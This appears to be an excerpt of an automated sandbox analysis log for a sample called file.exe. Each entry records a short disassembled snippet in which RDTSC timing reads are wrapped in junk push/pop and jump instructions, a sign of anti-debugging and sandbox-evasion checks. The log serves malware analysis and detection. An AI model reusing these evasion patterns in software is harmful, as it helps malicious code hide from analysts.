Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B052 second address: 105B060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5700D44692h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B060 second address: 105B066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4FF second address: 105D505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D505 second address: 105D519 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F5701148066h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC30 second address: 105FC49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F5700D44686h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC49 second address: 105FC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC4D second address: 105FC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FEAB second address: 105FEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060000 second address: 1060004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060004 second address: 1060010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063879 second address: 106387E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106387E second address: 106389C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148078h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106389C second address: 10638A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063A1A second address: 1063A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063A1F second address: 1063A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D44699h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5700D4468Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5700D44694h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063A62 second address: 1063A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063D5B second address: 1063D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063D5F second address: 1063D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063D63 second address: 1063D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069809 second address: 1069821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F5701148066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jng 00007F5701148066h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069821 second address: 1069835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5700D4468Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068470 second address: 106849F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F570114806Ah 0x00000008 jns 00007F5701148066h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5701148077h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068757 second address: 1068772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44693h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10688BF second address: 10688C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10688C3 second address: 10688C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10688C7 second address: 10688D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10688D1 second address: 10688D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10688D5 second address: 10688EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148075h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10694BD second address: 10694C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D9F1 second address: 106DA1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jnl 00007F570114806Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 jmp 00007F570114806Dh 0x00000015 js 00007F5701148066h 0x0000001b pop eax 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DB85 second address: 106DBD2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5700D44694h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5700D44694h 0x00000011 jl 00007F5700D4469Fh 0x00000017 jmp 00007F5700D44699h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DBD2 second address: 106DBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DD45 second address: 106DD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107609B second address: 10760A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10760A1 second address: 10760A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107427B second address: 1074292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F5701148070h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074415 second address: 1074438 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5700D4468Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F5700D44691h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10749EE second address: 10749F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10749F5 second address: 10749FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10749FC second address: 1074A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074CBD second address: 1074CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074CC1 second address: 1074CE2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5701148075h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075228 second address: 107523B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007F5700D4468Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A7B4 second address: 107A7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a je 00007F5701148066h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F5701148066h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A7CF second address: 107A7D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD73C2 second address: FD73CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7A6 second address: 107D7AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7AA second address: 107D7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7B6 second address: 107D7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7BA second address: 107D7D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7D6 second address: 107D7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D7DC second address: 107D80C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F570114807Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F570114806Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D80C second address: 107D81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D4468Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D81A second address: 107D81F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D9C5 second address: 107D9CF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D9CF second address: 107D9D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D9D5 second address: 107D9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDD5 second address: 107DDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F570114806Bh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDEA second address: 107DDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDF2 second address: 107DE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F5701148066h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084F92 second address: 1084F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084F9B second address: 1084FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F5701148071h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FB6 second address: 1084FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5700D44686h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108510D second address: 1085128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F570114806Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085128 second address: 108512E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10855C6 second address: 10855E2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5701148068h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jno 00007F5701148066h 0x00000012 jne 00007F5701148066h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10855E2 second address: 10855EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10858CD second address: 10858D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10858D1 second address: 10858D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085B47 second address: 1085B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085B4D second address: 1085B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085CCC second address: 1085CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085CD2 second address: 1085CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jne 00007F5700D446ABh 0x0000000e pushad 0x0000000f jp 00007F5700D44686h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085E3E second address: 1085EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5701148079h 0x00000009 pushad 0x0000000a jmp 00007F5701148076h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F570114806Ch 0x00000016 jmp 00007F570114806Ch 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007F5701148079h 0x00000022 jne 00007F5701148066h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085EAF second address: 1085EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1086CC2 second address: 1086CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1086CC6 second address: 1086CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1086CCF second address: 1086CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E9E3 second address: 108EA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5700D44694h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E588 second address: 108E58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E58D second address: 108E593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E593 second address: 108E5A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F570114806Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E5A1 second address: 108E5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5700D4468Bh 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E70E second address: 108E712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E712 second address: 108E722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E722 second address: 108E739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jne 00007F570114807Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jng 00007F5701148066h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E739 second address: 108E73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096A5C second address: 1096A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096A6C second address: 1096A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D44692h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CE8B second address: 109CE91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CE91 second address: 109CEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D4468Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CEA4 second address: 109CEBA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F570114806Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CD07 second address: 109CD18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F5700D44686h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A09CE second address: 10A09D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2C2D second address: 10A2C33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2C33 second address: 10A2C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2C3E second address: 10A2C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2C43 second address: 10A2C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148070h 0x00000009 jc 00007F5701148066h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2C5D second address: 10A2C83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44692h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F5700D44692h 0x00000011 jc 00007F5700D4468Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB43D second address: 10AB441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB441 second address: 10AB447 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF1ED second address: 10AF1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
